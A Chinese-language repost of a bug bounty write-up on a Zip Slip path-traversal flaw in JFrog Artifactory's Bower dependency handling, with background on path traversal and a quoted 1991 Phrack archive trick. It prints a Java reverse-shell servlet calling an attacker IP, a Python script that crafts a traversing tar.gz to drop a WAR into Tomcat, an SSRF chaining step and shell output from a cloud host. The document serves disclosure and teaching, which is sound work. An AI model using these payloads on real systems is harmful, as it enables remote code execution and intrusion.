Zip Slip 与 Artifactory 相遇:一个 Bug Bounty 的故事

admin 2024年7月2日07:59:21评论2 views字数 9278阅读30分55秒阅读模式

Zip Slip 与 Artifactory 相遇:一个 Bug Bounty 的故事

Artifactory由 JFrog 开发,是一款业界领先的软件存储库管理器,它是一款用于存储和管理整个软件供应链中使用的所有工件、二进制文件、包、文件、容器和组件的单一解决方案。JFrog Artifactory 是DevOps的中心枢纽,与软件开发工具和流程集成。

在这篇博文中,我将讲述一个关于 Artifactory 中的 Zip Slip 漏洞的故事,我在 2021 年初向 JFrog 私人 Bug Bounty 计划报告了这个安全漏洞,我因此获得了5000 美元的赏金和一些很酷的赠品!

上周,我也有机会在hackmeeting 0x1B上公开谈论这个故事,我的演讲题目是Attacchi Zip Slip: storia di un exploit in “archivio”(Zip Slip 攻击:“档案”中的漏洞故事) ...您可以在这里找到我演讲中使用的幻灯片。

Zip Slip 与 Artifactory 相遇:一个 Bug Bounty 的故事

在继续讲述这个故事之前,让我们先了解一些背景知识,并尝试找出什么是路径遍历漏洞。因为 Zip Slip 简而言之是一种任意文件写入漏洞,可以通过路径遍历攻击来利用,这种攻击可能发生在处理/提取存档文件(例如 Zip 或 Tar 存档)的上下文中。如果您已经熟悉路径遍历攻击,也可以跳过下一节。

• 路径遍历漏洞

路径遍历(或目录遍历)攻击利用了对用户提供的文件名输入验证不足的情况,例如表示“遍历到父目录”的字符(即所谓的点-点-斜杠 (../) 序列)被传递到操作系统的文件系统 API。攻击者可能会利用易受攻击的应用程序来获取对文件系统的未经授权的访问权限,从而使他们能够在系统上读取或写入任意文件。

实际上,应用程序在读取和写入模式下都容易受到路径遍历攻击,在第一种情况下会导致任意文件读取原语,这可能会引入信息泄露攻击媒介,在第二种情况下会导致任意文件写入原语,进而可能导致远程代码执行 ( RCE ) 攻击。这就是为什么第二种情况最有趣,而 Zip Slip 攻击在写入模式下起作用,这意味着它们通常会导致远程代码执行 (RCE)!

以下是存在路径遍历漏洞的 PHP 应用程序示例(处于阅读模式):

<?php// some PHP codeif (isset($_GET['filename']))    $image = $_GET['filename'];else    $image = 'default.png';readfile('/var/www/images/' . $image);// some more PHP code?>

在这个例子中,由于缺少对“filename” GET 参数(在第 6 行分配给变量$image)的输入验证,攻击者可能能够通过使用点-点-斜杠 (../) 序列来读取易受攻击的 Web 服务器上的任意文件,例如到达根路径 (/) 并检索密码文件的内容 ( /etc/passwd),如下所示:

Zip Slip 与 Artifactory 相遇:一个 Bug Bounty 的故事

以下是另一个存在漏洞的 Java Web 应用程序示例,这次处于写入模式:

@PostMapping("/uploadimage")public String uploadImage(Model model, @RequestParam("image") MultipartFile file) throws IOException{var name = file.getOriginalFilename().replace(" ", "_");var fileNameAndPath = Paths.get(UPLOAD_DIRECTORY, name);Files.write(fileNameAndPath, file.getBytes());// some more Java codereturn "/user/upload";}

在这种情况下,由于对提交的“文件名”的输入验证不当(在第 4 行分配给变量name,稍后在第 6 行使用它来写入上传的文件),攻击者可能能够使用上传文件名中的UPLOAD_DIRECTORY点-点-斜杠 (../) 序列(例如,通过使用代理工具篡改上传 HTTP 请求)在 Web 服务器上的任何位置上传/写入任意文件,甚至在目标目录(此示例中为常量)之外。如下所示:

Zip Slip 与 Artifactory 相遇:一个 Bug Bounty 的故事

这反过来又可能导致远程代码执行 (RCE) 攻击,例如在服务器的 webroot 文件夹中创建新的恶意JSP/home/user/.ssh/id_rsa文件,并通过 HTTP 请求调用这些文件来远程执行它们。另一个可能的攻击媒介是写入/覆盖用户的 SSH 私钥(即),并通过 SSH 获得对 Web 服务器的未经授权的访问(如果暴露)。换句话说,可能存在多种方法可以从任意文件写入原语获取远程代码执行 (RCE),它们都取决于上下文,我们很快就会看到。

• Zip Slip 漏洞

Zip Slip 是一类已有三十多年历史的漏洞,可能“诞生”于 1991 年,当时Phrack上发表了一篇文章:

*** 技巧 #3:-D 存档破解

这种技术也利用了 WWIV 档案系统的开放性。这是将文件放入 BBS 根目录或硬盘上任何位置的另一种方法。

首先,在您的硬盘上创建一个临时目录。它叫什么名字并不重要。我们将其称为 TEMP。然后,创建一个名为 AA 的 TEMP 子目录。它实际上可以命名为任何两个字符的组合,但我们会保持简洁。然后创建一个名为 WWIV 的 AA 子目录。

将 NETWORK.COM 或 REMOTE.COM 或其他任何内容放在目录 TEMPAAWWIV 中。然后从 TEMP 目录执行以下命令:

 PKZIP -r -P STUFF.ZIP         <--- The case of "r" and "P" are important.
这将创建一个包含所有目录内容的 zip 文件,但所有目录名称都会被递归并存储。因此,如果您执行 PKZIP -V 来列出文件,您应该会看到 AAWWIVREMOTE.COM 等。
接下来,将 STUFF.ZIP 加载到十六进制编辑器(如 Norton Utilities)中,然后搜索“AA”。找到后(应该出现两次),将其更改为“C:”。最好执行两次,一次使用名为 WWIV 的子目录,另一次使用名为 BBS 的子目录,因为这是 WWIV 最常见的两个主 BBS 目录名称。除了 C:,您甚至可能还想尝试 D: 或 E:。您甚至可以反向操作,忘记 WWIV 子目录,只将其设为 AAREMOTE.COM,然后将“AA”更改为“..”。这将是万无一失的。您可以从那里开始,执行“....DOSPKZIP.COM”或其他操作。
然后将 STUFF.ZIP(或任何你想叫的名字)上传到 BBS,并输入“E”将其解压到临时目录。它会询问你是什么文件。输入“STUFF.ZIP”。它会询问你想要解压什么。输入“""-D”。然后它会执行:
 PKUNZIP STUFF.ZIP ""-D
它会将所有内容解压到正确的目录中。瞧!

因此,将点-点-斜杠 (../) 序列放入存档文件内,并以此方式利用易受路径遍历攻击的应用程序的概念最初是在 1991 年 9 月与BBS黑客攻击有关时引入的,当时 Web 才刚刚诞生一个月……然而,看起来它花了几年时间才应用到 Web 环境中,这可能发生在 2006 年,出现了CVE-2006-0931和CVE-2006-0932 - 这是我在这些 列表中看到的最古老的与 Web 相关的 Zip Slip 漏洞。三年后,即 2009 年 4 月,Neohapsis也发表了一项研究。在对此“几乎沉默”了几年之后,Snyk 在 2018 年发表了一项研究,将这类漏洞“重命名”为实际已知的名称,并且通过发现和报告多种软件产品中的 Zip Slip 漏洞,Snyk 收集了数十个 CVE。

让我们看一个存在漏洞的 Java 代码示例:

public void extractZipFile(ZipFile zip, String destinationDir){   Enumeration<ZipEntry> entries = zip.getEntries();    while (entries.hasMoreElements())   {        ZipEntry e = entries.nextElement();        File f = new File(destinationDir, e.getName());        InputStream input = zip.getInputStream(e);        IOUtils.copy(input, write(f));    }}
如您所见,在第 7 行,Zip 存档中的条目名称(文件名)——或者更确切地说,调用返回的值e.getName()——与目标目录连接在一起,没有经过验证,稍后在第 9 行使用它来实际写入/提取存档中的文件。因此,可以通过提供一个特制的 Zip 存档来利用这一点,该存档的条目文件名中包含点-点-斜杠 (../) 序列,从而通过路径遍历攻击导致任意文件写入原语。
• JFrog Artifactory <= 7.12.10 中的 Zip Slip 漏洞
这一切始于 2020 年 12 月 28 日,当时我收到了 JFrog 的HackerOne私人项目的邀请。我对此感到非常高兴,并立即对 Artifactory 产生了兴趣……因此,我下载并安装了它,并开始测试和对其 Java 源代码进行逆向工程。结果,我发现了一些影响 Artifactory 的安全漏洞,但在这里我将仅详细介绍其中的一个,可能是最有趣的一个(因为我花了几天的时间才真正利用它)。它是关于位于类中的 Zip Slip 漏洞org.artifactory.addon.bower.helpers.BowerExternalDependenciesHandler
private List<File> extractBowerPackage() throws IOException, ArchiveException {    log.debug("Extracting archive contents of bower package {} for dependency rewrite on repo {}", this.resource        .getRepoPath(), this.repo.getKey());    ResourceStreamHandle handle = this.repoService.getResourceStreamHandle(this.resource.getRepoPath());    List<File> archiveContents = new ArrayList<>();    ArchiveInputStream stream = (new ArchiveStreamFactory()).createArchiveInputStream(new BufferedInputStream(new GZIPInputStream(handle.getInputStream())));    try {      ArchiveEntry entry;      while ((entry = stream.getNextEntry()) != null) {        if (!entry.isDirectory() && !entry.getName().contains("pax_global_header")) {          File outputFile = copyEntryToFile(stream, entry);          archiveContents.add(outputFile);        }       }       if (stream != null)        stream.close();     } catch (Throwable throwable) {      if (stream != null)        try {          stream.close();        } catch (Throwable throwable1) {          throwable.addSuppressed(throwable1);        }        throw throwable;    }     if (log.isTraceEnabled())      log.trace("Archive contents for bower package at {} are: {}", this.resource.getRepoPath(),           Arrays.toString(archiveContents.toArray()));     return archiveContents;  }  private File copyEntryToFile(ArchiveInputStream stream, ArchiveEntry entry) throws IOException {    File outputFile = new File(this.tempBowerDirectory, entry.getName());    Files.createDirectories(outputFile.toPath().getParent(), (FileAttribute<?>[])new FileAttribute[0]);    OutputStream os = new FileOutputStream(outputFile);    IOUtils.copy((InputStream)stream, os);    os.close();    return outputFile;  }
该方法在处理Bower包的“外部依赖重写extractBowerPackage()时被调用,而这又会为Bower 包(应该是 .tar.gz 文件)中的每个条目在第 120 行调用易受攻击的方法。在第 142 行,此方法使用用户污染的 Bower 存档中提供的条目名称(文件名)——或者更确切地说,调用返回的值——与临时目录连接以创建新对象,而无需进行适当的验证。此类对象随后在第 144-145 行用于实际从包中提取文件并将其写入文件系统。通过提供在其条目文件名中包含点-点-斜杠 (../) 序列的恶意 Bower 包,可以利用此漏洞在远程 Web 服务器上写入(或覆盖)任意文件,从而导致远程代码执行 (RCE) 攻击,例如在 Tomcat 目录中创建一个新的WAR文件,该文件将在几秒钟后自动部署为新的 Tomcat Web 应用程序:copyEntryToFile()entry.getName()FileFilewebapps
WAR 文件必须放置在 Tomcat webapps 路径 /opt/jfrog/artifactory/tomcat/webapps/ 中。默认情况下,WAR 文件的部署是自动的,并将在 Artifactory 实例旁边启动另一个 web 应用程序,例如在 http://localhost:8081/sample/。

以下是创建特制的 Bower 包来利用此 Zip Slip 漏洞的步骤:

  • 创建一个ShellServlet.java包含你的(反向)shell 代码的文件,如下所示:

import java.io.*;import java.net.Socket;import javax.servlet.*;import javax.servlet.http.*;import javax.servlet.annotation.*;@WebServlet("/")public class ShellServlet extends HttpServlet {  @Override  public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {    String host = "[ATTACKER_IP_ADDRESS]";    int port = 12345;    String cmd = "/bin/sh";    Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();    Socket s = new Socket(host, port);    InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();    OutputStream po = p.getOutputStream(), so = s.getOutputStream();    while(!s.isClosed()) {      while(pi.available() > 0)        so.write(pi.read());      while(pe.available() > 0)        so.write(pe.read());      while(si.available() > 0)        po.write(si.read());      so.flush();      po.flush();      try {        Thread.sleep(50);        p.exitValue();        break;      }      catch (Exception e) {      }    }    p.destroy();    s.close();  }}
  • 将此文件放在以下目录结构中:rce/WEB-INF/classes/ShellServlet.java

  • 使用以下命令编译 servlet:javac -cp servlet-api.jar rce/WEB-INF/classes/ShellServlet.java

  • 使用以下命令创建 WAR 文件:cd rce; jar -cvf ../rce.war WEB-INF/classes/*.class; cd ..

  • rce.tar.gz通过运行以下 Python 脚本创建Bower 包:

#!/usr/bin/env pythonimport sys, tarfilefname = "rce.tar.gz"zpath = "../../../../../../../../../../../../../opt/jfrog/artifactory/app/artifactory/tomcat/webapps/rce.war"print "Creating " + fname + " containing " + zpathtf = tarfile.open(fname, "w:gz")tf.add("rce.war", zpath)tf.add("bower.json")tf.close()
  • bower.json文件包含如下“外部依赖项”:
{  "dependencies": {    "test": "https://github.com/owner/package.git#branch"  }}

创建rce.tar.gz文件后,您可以按照以下步骤重现该漏洞:

  • 以管理员用户身份登录 Artifactory

  • 创建一个新的 Bower 本地存储库(bower-local

  • 创建一个新的 Bower 远程存储库(bower-remote

  • 创建一个新的 Bower 虚拟存储库:在“存储库”下选择bower-local和,在“默认部署存储库”下选择,然后点击“高级”选项卡,选择“启用依赖重写”bower-remotebower-local

  • 进入“Artifactory” → “Artifacts”,选择 Bower Virtual Repository 并部署rce.tar.gz文件

  • 下载已部署的工件并触发漏洞,将rce.war文件写入 Tomcat webapps目录,该文件将自动部署为新的 Tomcat Web 应用程序

  • 现在,为了执行恶意 WAR,攻击者应该访问http://[artifactory_instance]:8081/rce/,但这在 JFrog Cloud 上是不可能的,因为端口 8081 未向互联网开放。但是,通过“链接”其他(SSRF)漏洞,仍然可以在 JFrog Cloud 上执行 WAR:只需创建一个新的通用远程存储库,并将字符串http://0.0.0.0:8081/rce放入 URL 文本框中,单击“测试”,就会执行(反向)shell

注意:尽管创建 Bower 存储库需要管理员帐户,但这并不意味着成功利用此漏洞也需要管理员帐户。非管理员用户也可以利用此漏洞,只要他们有权限在启用“启用依赖重写”选项的 Bower 虚拟存储库中部署工件。

以下是我随 HackerOne 报告一起发送的概念验证(PoC)视频:

这里,您可以找到一个完整的概念验证 (PoC) 脚本来重现此漏洞。https://karmainsecurity.com/pocs/artifactory_rce.zip
这是一个应该从命令行 (CLI) 使用的 PHP 脚本,您应该看到如下输出:
$ php rce.php https://egix2hackerone.jfrog.io/ admin ********[-] Logging in with username 'admin' and password '********'[-] Creating Bower Local Repository...[-] Creating Bower Remote Repository...[-] Creating Bower Virtual Repository...[-] Uploading malicious Bower package...[-] Deploying package to 'bower-1611601753'...[-] Downloading package to trigger the vulnerability...[-] Deleting Bower Repositories...[-] Waiting for the shell to be deployed...jfrog-shell# iduid=1030(artifactory) gid=1030(artifactory) groups=1030(artifactory),40019,40030jfrog-shell# uname -aLinux a0efcqstryncc-artifactory-primary-0 4.14.203-156.332.amzn2.x86_64 #1 SMP Fri Oct 30 19:19:33 UTC 2020 x86_64 GNU/Linux
我于 2021 年 1 月 24 日报告了此漏洞,并于 2021 年 1 月 29 日得到了 HackerOne 分类团队的确认。最终,我在 2021 年 2 月 1 日获得了5000 美元的赏金!除此之外,我还收到了一些很酷的礼物,包括这件漂亮的 T 恤:

Zip Slip 与 Artifactory 相遇:一个 Bug Bounty 的故事

结论

总而言之,您可能会说 Zip Slip 是一类存在已久的漏洞,而且很可能还会存在很长时间。在 99% 的情况下,此类安全漏洞都是由于人为错误、健忘或错误假设而引起的。Zip Slip 只不过是:利用路径遍历漏洞在意外文件夹中写入任意文件,利用开发人员缺乏控制权。正如我们在本故事中看到的那样,攻击者可能会利用这一点来完全控制运行易受 Zip Slip 攻击的应用程序的机器。

最后,我想再一次感谢JFrog,感谢你们给了我机会参与你们的私人漏洞赏金计划,感谢你们给我赏金,感谢你们给予我一切……🐸 另外,我想感谢意大利hackmeeting社区,感谢你们给了我机会首次公开披露和讨论这个 Zip Slip 漏洞!顺便说一句,这是我第一次参加 hackmeeting 活动,对我来说真的是一次很棒的经历!❤️

https://karmainsecurity.com/zip-slip-meets-artifactory-a-bug-bounty-story

原文始发于微信公众号(Ots安全):Zip Slip 与 Artifactory 相遇:一个 Bug Bounty 的故事

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月2日07:59:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Zip Slip 与 Artifactory 相遇:一个 Bug Bounty 的故事http://cn-sec.com/archives/2905051.html

发表评论

匿名网友 填写信息